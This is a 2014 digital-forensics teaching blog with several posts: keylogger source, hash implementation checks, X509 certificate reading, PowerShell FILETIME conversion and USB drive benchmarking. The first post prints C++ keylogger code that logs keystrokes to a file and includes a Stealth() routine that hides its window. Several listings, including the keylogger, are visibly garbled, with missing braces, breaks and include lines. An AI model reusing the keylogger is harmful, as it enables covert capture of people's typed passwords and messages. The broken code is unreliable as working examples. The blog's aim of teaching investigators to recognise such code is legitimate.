Tuesday, October 21, 2014

Code2Learn - Keylogger

Now, this example is for educational purposes only and you should not run this code on your own machine if you are not familiar with all of the lines in this code.

Keyloggers have been viewed as something only people with bad intention write, but it is nothing more than monitoring the keys that are pressed on the keyboard and saving them in a file for later review.

In investigation, you might have to look at code and identify basic pattern in order to "guess" what the code is designed to do.  In this example, you can see the basic feature of a keylogger and I hope it will teach you that simple code like this can be added to any code to accomplish the same.  Thus, downloading so called pirated and illegal or cracked version of applications can contain this type of added code.  For the user, the functionality of the application will not visibly change, but the application might have "added features" that users are not aware of.

In many cases, executable analysis is just a simple strings search that can reveal keywords compiled inside the executable that can be googled and lead to understand some of the features of the program.  We can see the message and a clear text of the file that is used to collect the captured keystrokes.  If the code would connect to a server on the Internet, we might even see the URL or the IP address of the server the data is exfiltrated to.

So, this case a simple keyword search on the executable reveals a portion of my code, thus the intended purpose.  So, code might be analyzed by non-programmers and still have a successful heuristic conclusion of what a code or a portion of the code is designed to do.

Warning: You will need to look at your taskmanager in order to stop this program from running.

#include <string>

using namespace std;
int Save(int key_stroke, string file);
void Stealth();

int main(){

char i;

        cout << "This is my example of a keylogger - Zoltan" << endl;

while (1){
for (i = 8; i <= 190; i++){
if (GetAsyncKeyState(i) == -32767)
Save(i, "collect.txt");
return 0;

int Save(int key_stroke, string file){
if ((key_stroke == 1) || (key_stroke == 2))
return 0;

ofstream outFile;
char pressed;
pressed = key_stroke;
outFile.open(file, std::fstream::app);
cout << VK_OEM_PERIOD << endl;
outFile << "\n";
switch (key_stroke){
case 8:
outFile << "[BACKSPACE]";
case 13:
outFile << " ";
case  VK_OEM_PERIOD:  //same as 190
outFile << ".";
case VK_TAB:
outFile << "[TAB]";
case VK_SHIFT:
outFile << "[SHIFT]";
outFile << "[CONTROL]";
outFile << "[ESCAPE]";
case VK_END:
outFile << "[END]";
case VK_LEFT:
outFile << "[LEFT]";
case VK_UP:
outFile << "[UP]";
case VK_RIGHT:
outFile << "[RIGHT]";
case VK_DOWN:
outFile << "[DOWN]";
case VK_HOME:
outFile << "[HOME]";
case 110:
outFile << ".";
outFile << pressed;

return 0;

void Stealth(){
HWND stealth;
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);

Code2Learn - Hashing

One of the most basic concept we learn in digital forensics is to ensure our evidence is not changed after acquisition is hashing.  Hashing helps verify the integrity of the data and helps reduce the dataset by identifying known good files.  Hashes can also identify known "bad" data or partial hashes can identify data that are close enough to investigate further for relevance.  Of course, hashes are also used to store passwords for authentication.  There are many algorithms available, but each algorithm must work exactly the same in software implementations.

When using libraries and third party implementations, you still need to test and validate if the implementation works are designed and implemented properly.

The following is an implementation using third party library:

using System;
using XCrypt;
//Click to download source "Download source code"
//Click on Project -> Add Reference -> navigate to where you have extracted XCrypt.dll

namespace hashMD5
    class Program
        static void Main(string[] args)
            XCryptEngine encrypt = new XCryptEngine();
            Console.WriteLine("Enter string to hash:");
            string inText = Console.ReadLine();
            string hashText = encrypt.Encrypt(inText);
            Console.WriteLine("Input: {0}\r\nHash: {1}", inText, hashText);
            byte[] temp=GetBytes(hashText);  //for debugging to see each byte value

        static byte[] GetBytes(string str)
            byte[] bytes = new byte[str.Length * sizeof(char)];
            System.Buffer.BlockCopy(str.ToCharArray(), 0, bytes, 0, bytes.Length);
            return bytes;

Running the code results in the following output.

Enter string to hash:
Richland College
Input: Richland College
Hash: zlC4yZP3XqYqqboh5Lv4IA== 

The output looks strange and more like Base64 than MD5.  We can place break points in the code and monitor for the actual byte values to see the results to see if it is even close to the actual solution.

We can see the hash values are 122, 0 , 108, 0 ...

Now, let see another program implementation of MD5:

using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Cryptography;

namespace anotherHashMD5SHA1
    class Program
        static void Main(string[] args)
            Console.WriteLine("Enter an message: ");
            string message = Console.ReadLine();
            System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();
            MD5 md5 = new MD5CryptoServiceProvider();
            SHA1 sha1 = new SHA1CryptoServiceProvider();
            byte[] messageBytes = encoding.GetBytes(message);
            byte[] hashmessage = md5.ComputeHash(messageBytes);
            string stringMD5 = ByteToString(hashmessage);
            hashmessage = sha1.ComputeHash(hashmessage);
            string stringSHA1 = ByteToString(hashmessage);
            Console.WriteLine("MD5: {0}\r\nSHA-1: {1}", stringMD5, stringSHA1);
//Console.WriteLine("MD5: {0}\r\nSHA-1: {1}",System.Text.Encoding.Default.GetString(hashmessage), stringSHA1);

        public static string ByteToString(byte[] buff)
            string sbinary = "";
            for (int i=0; i < buff.Length; i++)
                sbinary += buff[i].ToString("X2");
            return (sbinary);

And the output of this code is as follows,

Enter an message:
Richland College
MD5: CE50B8C993F75EA62AA9BA21E4BBF820
SHA-1: B3A6FC316A94949871594C633C8977D28C70E8B7

So, we also need to see what the resulting byte values are for the hash value in order to see if we just have different encoding of the same byte values displayed and the results are really the same or not.

No, we do not have the same byte values, this one gives us 206, 80, 184, 201, ..., so witch one do we trust and use in our code?

You can use a few IT tools to see what the results of those tools will be.  I recommend HashOnClick.

You can create a simple text file, in this case, I used the same text like I used with tool, "Richland College".  

CE50B8C993F75EA62AA9BA21E4BBF820 testfile.txt

The results show the same value as the second code sample, so the second code sample should be implemented.

So, as you can see, there are many implementations of the same algorithm and programmers should use libraries and code from others as much as possible to increase productivity and reduce development time, but only responsible code selection can lead to meaningful and more secure code.  Maybe secure coding should have a prerequisite of knowing IT tools and understanding what we expect tools to do before we try to implement code by compiling and "crossing fingers".

Code2Learn - X509 Certificate

In many case, students learn coding because it is in the computer science curriculum, but until graduate school. computer science is nothing else but coding without many real world applicable meaning of those skills.

Using learned skills take time and applying the skills learned in the classroom takes time or will it?  Programming languages evolved to a stage where traditional computer science classes should produce skills much quicker than even 10-15 years ago.  Languages like Scratch, Kodu, SmallBasic, ... can teach kids from age 6-7 to code code that used to take weeks to create.  Thus, we should be able to apply learned skills in much higher level by the time students reach college.

That requires learning the environment and terminology where the code will be placed, what we refer to as Information Technology ( I.T. ).  What is the point to let a programmer design a code that will be used in a network environment if the programmer have no idea what broadcast traffic is and the final code will broadcast so much that will bring the whole network to a halt.

Code can be performing the same function we talked about in the early stage of programming, but elevate the skills to include security concepts even at the simplest level.

Let see what we can do about understanding X509 certificates used in the Public Key Infrastructure ( PKI ) environment.

Generate a a public / private key certificate on your computer that can be used with Microsoft's Encrypting File Systems ( EFS ) to be the recovery agent.  Recovery Agents are used to help users get back to their files in case if the user forgets the password or if the user's certificate is lost or corrupted.  It might be considered the "back door", but for good purpose and need to know how to manage this configuration to provide security instead of vulnerability.

In forensic investigation, we also need to know how to use this process in order to recover user files for investigations and what are the consequences of resetting system passwords without actually finding the user's password.  Offline resetting user password will lose our ability to recover file content with the user's credentials, but we can still get to the user file content using the recovery agent credentials.

C:\>cipher /rc:\temp\recoveryAgent
Please type in the password to protect your .PFX file:
Please retype the password to confirm:

Your .CER file was created successfully.
Your .PFX file was created successfully.

At this point, we have a certificate that we can work with, but you might want to see how to use it in the operating system.

Type certmgr.msc and import the certificate.  Double click on the certificate to see its details.

So, can we see the same type of information by writing our own code?  We should be able to read the details of this certificate by using predefined libraries where we do not need to implement a class full of methods and dissect the structure in a "painful" way.  Technology can help and we can read teh certificate like we read any other simple text input file.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security;
using System.Net;
using System.Security.Cryptography.X509Certificates;

namespace ReadCert
    class Program
        static void Main(string[] args)
            X509Certificate cert = X509Certificate.CreateFromCertFile("c:\\temp\\recoveryAgent.cer");
            System.Console.WriteLine("Serial Number: {0}", cert.GetSerialNumberString());
            System.Console.WriteLine("Effective Date: {0}", cert.GetEffectiveDateString());
            System.Console.WriteLine("Name: {0}", cert.GetName());
            System.Console.WriteLine("Public Key: {0}", cert.GetPublicKeyString());
            System.Console.WriteLine("Pblick Key Algorithm: {0}", cert.GetKeyAlgorithm());
            System.Console.WriteLine("Issuer: {0}", cert.GetIssuerName());


The output will show something like this:

Serial Number: 1B982E5AE7996DB54A2539E549580EAF
Effective Date: 10/21/2014 7:41:40 AM
Name: CN=Zoltan, L=EFS, OU=EFS File Encryption Certificate
Public Key: 3082010A0282010100C8CB222A159660D559147EA174004766B619B1C6478897F6DF
Pblick Key Algorithm: 1.2.840.113549.1.1.1
Issuer: CN=Zoltan, L=EFS, OU=EFS File Encryption Certificate

You still have to understand what this means and how to use it, but it is much better conversation than writing the good old "Hello World" read from a text file.  Embrace technology and learn about I.T. with coding in mind not the traditional business based computer science based thinking to find the area of the pizza pie.  

Monday, October 20, 2014

Back to basics - Time revisited

It is very strange why PowerShell would return a date where the year is wrong ( 0x451a1eb0d869cc01).

PS> get-date 129594868675516997
Saturday, September 3, 0411 1:27:47 AM

Try more than just one value and see if there is a pattern of miscalculation.

PS> get-date 128989761240000000
Friday, October 2, 0409 4:55:24 PM

Always use a tool to validate your findings and keep you on the right track. Here, I'm using FTK Imager to decode the date/time of a little endian value to make sure I get the same results by hand and to identify any mistakes I might make with the manual conversion.  This way, I can also double check if PowerShell interprets the values correctly.

The same value returns the correct date and time if used in this format


Friday, September 2, 2011 8:27:47 PM

UTC time is also returns the correct date and time.  It seems like that is also what the get-date is trying to do.

PS> [datetime]::fromfiletimeUTC("129594868675516997")

Saturday, September 3, 2011 1:27:47 AM

Converting the hex values in Excel and working with the rounded scientific notation should not be used due to the rounding error.

PS> [datetime]::fromfiletime("1.29595E+17")

Saturday, September 3, 2011 12:06:40 AM

If you know the epoc of a time, then you can easily adjust PowerShell to give you the correct time from the epoc by adding the origin to the datetime.


Friday, May 18, 2012 3:24:18 AM

Microsoft counts 100-nanoseconds, so the time value needs to be divided by 1e7 to get the second values from the epoc time.  129594868675516997/1e7 = 12959486867.55169


Friday, September 2, 2011 8:27:47 PM

Thus, analyzing Mozilla Firefox, we can examine places.sqlite database for downloaded applications in the moz_annos table.  We can see values under content column like:


Based on the given file size ( in Bytes ), we can correlate an exfiltrated file even if its name was changed.  In order to find the time ( tracks it in milliseconds, so divide the value by 1000 ) when the exfiltration was completed we can run PowerShell with the Unix epoc date:


Sunday, October 19, 2014 9:58:39 PM

This value can be verified by Decode
( http://www.digital-detective.net/digital-forensic-software/free-tools/ )

Thus, testing, verification, and validation should be part of every analysis especially before a new tool or a tool update is implemented.  Risk management is as important part of forensic analysis as technical knowledge.

Sunday, October 19, 2014

Back to basics - Drive transfer rate

Maybe it is not relevant to most investigators, but knowing your devices and your hardware can help in determining how long an acquisition or indexing of an evidence might take.  Measuring the performance of the storage devices are just as important as analyzing a case for relevant evidence.  You have to be detailed enough and have the drive to understand technology in order to move toward becoming an expert.  The first step of education is to ask questions and find the best answers possible, but not by "googling" for answers other did.

In this case, we examine out storage device transfer rate in a USB 2.0 and in USB 3.0 ports.  I'm lucky enough to have both of these ports on my laptop to test these ports, but if you ignore the port speed then you will never know why sometimes you get better performance.

USB 1.x supports rates of 1.5 Mbit/s (Low-Bandwidth) and 12 Mbit/s (Full-Bandwidth).

USB 2.0 supports higher maximum signaling rate and limited to effective throughput of 280 Mbit/s.  The port is usually black, but the USB symbol might be the best way to distinguish the port types. In the image below, I have a USB 3.0 on the left side while only a USB 2.0 on the right side.  Thus, plugging a device in one port vs. the other will have a huge performance difference.

USB 3.0 ( SuperSpeed mode ) usable data rate of up to 4 Gbit/s. A USB 3.0 port is usually colored blue, and is backwards compatible with USB 2.0.  In the image below, you can see that it will not matter which port to use on this side of the laptop since both of the ports are USB 3.0.

You can see in Windows what port the device is plugged in.

So, what are the effective transfer rates on actual devices and not just in theory.  There are many ways to test performance and most of them will not result in very accurate results, but will give a good indication of device transfer rates to calculate with.  In many cases, the approximation of data transfer rate is good enough to calculate and prepare a quote for clients.

One way is to use the Windows System Assessment Tool ( winsat )  utility to do this test.  Since we are talking about sequential writes of the data, we can test the sequential write rate of E:\ drive, in my case, like this.

winsat disk -seq -write -count 6 -v -drive E

Sequential reads are just as easy to test.

winsat disk -seq -read -count 6 -v -drive E

Another way would be to use SQLIO Disk Subsystem Benchmark Tool.

You can create a script to test the performance of the drive with many different configurations in order to find the optimal settings.

I have the following in my batch file:

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s10 -frandom -o8 -dE -b8 -LS -Fparam.txt 
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b64 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b128 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b256 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b512 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -dE -o8 -b8 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b64 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b128 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b256 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b512 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -b8 -dE -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b64 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b128 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b256 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b512 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -dE -o8 -b8 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b64 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b128 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b256 -LS -Fparam.txt
timeout /T 10
"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b512 -LS -Fparam.txt

The param.txt file does not have anything else, but a single line showing where to copy teh file to, in this case to E: drive since that is the drive I'd like to test.

e:\testfile.data 2 0x0 100

The testfile.dat was created with dcfldd like this:

C:\>dcfldd-1.3.4.x86win32\dcfldd.exe pattern=61 of=tesfile.data bs=8388608 count=1

The results can be then added to a spreadsheet to chart the data for easier analysis.

USB 3.0 performance.

USB 2.0 performance.

The best performance results are highlighted with read, but we can see that USB 3.0 have much less latency issues than USB 2.0, so we should definitely use USB 3.0 whenever we can.

So, no matter how obvious the outcome is or how much you know about technology, you should always aim to find a way to test your devices and have performance data available to chart your results to see a pattern that might not emerge just by looking at a data itself.  This is the process of determining an answer by empirical data analysis.  You can never get closer to a scientific thinking unless you realize the power of testing and measuring.  This way, you will always be confident of your conclusions since these are data points you have created, documented, and analyzed.  

Let me know if you any better ways to have a reliable testing of storage device performance.


A. System Environment

> Command Line 'winsat  disk -seq -write -count 6 -v -drive E'
> DWM running... leaving it on
> System processor power policy saved and set to 'max performance'
> Running: Feature Enumeration ''
> Gathering System Information
> Operating System                        : 6.3 Build-9600
> Processor                               : Intel(R) Core(TM) i7-4702HQ CPU @ 2.
> TSC Frequency                           : 0
> Number of Processors                    : 1
> Number of Cores                         : 4
> Number of CPUs                          : 8
> Number of Cores per Processor           : 4
> Number of CPUs Per Core                 : 2
> Cores have logical CPUs                 : YES
> L1 Cache and line Size                  : 32768  64
> L2 Cache and line Size                  : 262144  64
> L3 Cache and line Size                  : 6291456  64
> Total physical mem available to the OS  : 15.9 GB (17,078,214,656 bytes)
> Adapter Description                     : Intel(R) HD Graphics 4600
> Adapter Manufacturer                    : Intel Corporation
> Adapter Driver Provider                 : Intel Corporation
> Adapter Driver Version                  :
> Adapter Driver Date (yy/mm/dd)          : 2013\10\31
> Has DX9 or better                       : Yes
> Has Pixel shader 2.0 or better          : Yes
> Has LDDM Driver                         : Yes
> Dedicated (local) video memory          : 0MB
> System memory dedicated as video memory : 0MB
> System memory shared as video memory    : 1792MB
> Primary Monitor Size                    : 1600 X 900  (1440000 total pixels)
> WinSAT is Official                       : Yes
Mode Flags = 0x02000001
Disk Number = 2
Iterations = 6
IO Count = 1000
Sequential IO Size = 65536

Random IO Size = 16384

B. Drive tested

C:\>wmic diskdrive get name, size, model
Model                           Name                Size
WD My Passport 0748 USB Device  \\.\PHYSICALDRIVE2  2000363420160

C. User Manual and downloads

Tuesday, October 14, 2014

Advanced topics - Search by FileTime

This is in progress, but the main idea is that we should be able to find FileTime ranges in $MFT, FAT DE, and in many SQLite databases, or log files by directly searching the stored time stamp.

We can use PowerShell to give us a range of FileTime values for a particular date range that will allow us to search the evidence for artifacts that we might not even realize yet, but stores the time stamp in its structure.

PS C:\> (Get-Date -Date "2014-10-14T00:00:00").ToFileTime()
PS C:\> (Get-Date -Date "2014-10-14T23:59:59").ToFileTime()
PS C:\> [convert]::tostring((Get-Date -Date "2014-10-14T23:59:59").ToFileTime(),16)
PS C:\> [convert]::tostring((Get-Date -Date "2014-10-14T00:00:00").ToFileTime(),16)

So, now that we know a time stamp range, we can reverse the time stamps to little endian, if needed, and locate values matching the range.

The image below is just a sample of a simple regular expression based search for a pattern matching a time range.

Also, get date and time by entering the fileTime value:

PS > Get-Date 129442497539436142
PS > [datetime]::FromFileTime("129442497539436142")

What did I do? - Pattern is the key

In this case, you need to decide if this case has anything that might be relevant to illegal animal trade.

Our hypothetical law states that it is illegal to own and store any image of animals with feather or fur.

You are given the suspect's computer and you see the following in the C:\temp\images folder.  The scope of the investigation restricts you to this simple folder, so you need to write your report examining data in the given folder.

You can ask for any other information you'll need to find the answer.

Remember computers store data visible, deleted, or hidden format that are either clear text, encoded, or encrypted and generated by operating system, application, or users.  So, as you analyze the image above, write your conclusion from these data characteristics in mind.